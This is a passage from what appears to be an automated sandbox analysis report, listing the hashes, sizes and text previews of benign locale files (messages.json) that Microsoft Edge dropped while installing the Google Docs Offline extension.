Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_812405277\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
